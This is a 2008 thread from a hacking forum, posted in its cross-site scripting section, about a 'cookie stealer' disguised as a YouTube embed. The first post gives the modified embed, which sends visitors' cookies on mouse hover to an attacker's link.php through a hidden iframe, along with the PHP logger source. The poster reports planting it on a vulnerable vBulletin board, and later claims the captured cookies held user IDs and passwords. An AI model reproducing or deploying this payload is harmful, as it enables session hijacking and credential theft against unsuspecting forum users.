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www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> XSS cookie stealer in youtube !
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XSS cookie stealer in youtube !
PostPosted: Sat Apr 05, 2008 1:50 pm Reply with quote
NEUR0BASHER
Regular user
Regular user
 
Joined: Apr 05, 2008
Posts: 6




This is a simple but effective XSS link hidden in a youtube embedding code. When the user hovers the video with the mouse all cookie data, referrer url, ip address and browser agent info will be sent to "link.php" (in a hidden iframe). The php file link.php writes to the logfile "log.dat".

This is the modifief youtube code:
Code:
<object width="425" height="355" onmouseover="hideMe.location.href='http://yoursite.com/link.php?data='+document.cookie"><param name="movie" value="http://www.youtube.com/v/PVQaixvlMwo&hl=en"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/PVQaixvlMwo&hl=en" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object><iframe name="hideMe" width=1 height=1 style="visibility: hidden">


Here is the link.php source:
Code:
<?                                        
// read old log       
$file = "log.dat";
$test= fopen ($file, "r+");
$text = fread ($test, filesize ($file));
fclose ($test);

// add new log
$ref=@$HTTP_REFERER;
$agent=@$HTTP_USER_AGENT;
$ip=@$REMOTE_ADDR;

if (isset($data)){
$file = fopen("log.dat", "w");
fputs($file,"\nReferrer: $ref\nIP: $ip\nAgent: $agent\n$data\n\n$text".$text."");
}

?>


I have just posted this modified youtube video to a XSS vulnerable vBulletin 3.6.9 board and I am waiting till the logfile will raise up.
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PostPosted: Sun Apr 06, 2008 3:31 am Reply with quote
gibbocool
Advanced user
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Joined: Jan 22, 2008
Posts: 208




Could you explain the details of how you got xss to work in vbulletin?

Also, can't you save the cookie and be able to use other people's session to get admin access?

edit ok found the detials..

http://www.waraxe.us/ftopict-2482-.html

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PostPosted: Wed May 21, 2008 2:00 am Reply with quote
PoisonedV
Regular user
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Joined: Jan 19, 2008
Posts: 18




I don't see how this would be implemented. They would have to have html enabled, correct?
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PostPosted: Wed May 21, 2008 10:19 am Reply with quote
gibbocool
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Joined: Jan 22, 2008
Posts: 208




Yes the forum or message board would need to have html enabled.

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PostPosted: Wed Jun 11, 2008 5:45 pm Reply with quote
Kazuma
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Joined: May 17, 2008
Posts: 3
Location: Zwollywood




If I'm right vBulletin has a function (or plugin) which lets you post Youtube video's by posting the embeded code in the post.

Maybe it surpasses the filter?
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PostPosted: Thu Jul 31, 2008 2:04 am Reply with quote
NEUR0BASHER
Regular user
Regular user
 
Joined: Apr 05, 2008
Posts: 6




I tried that on vBulletin® Version 3.7.x with enabled HTML
the cookie included the USER ID and USER PASSWORD


PWNED
greetinx go to my
pwnographic friends!
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XSS cookie stealer in youtube !
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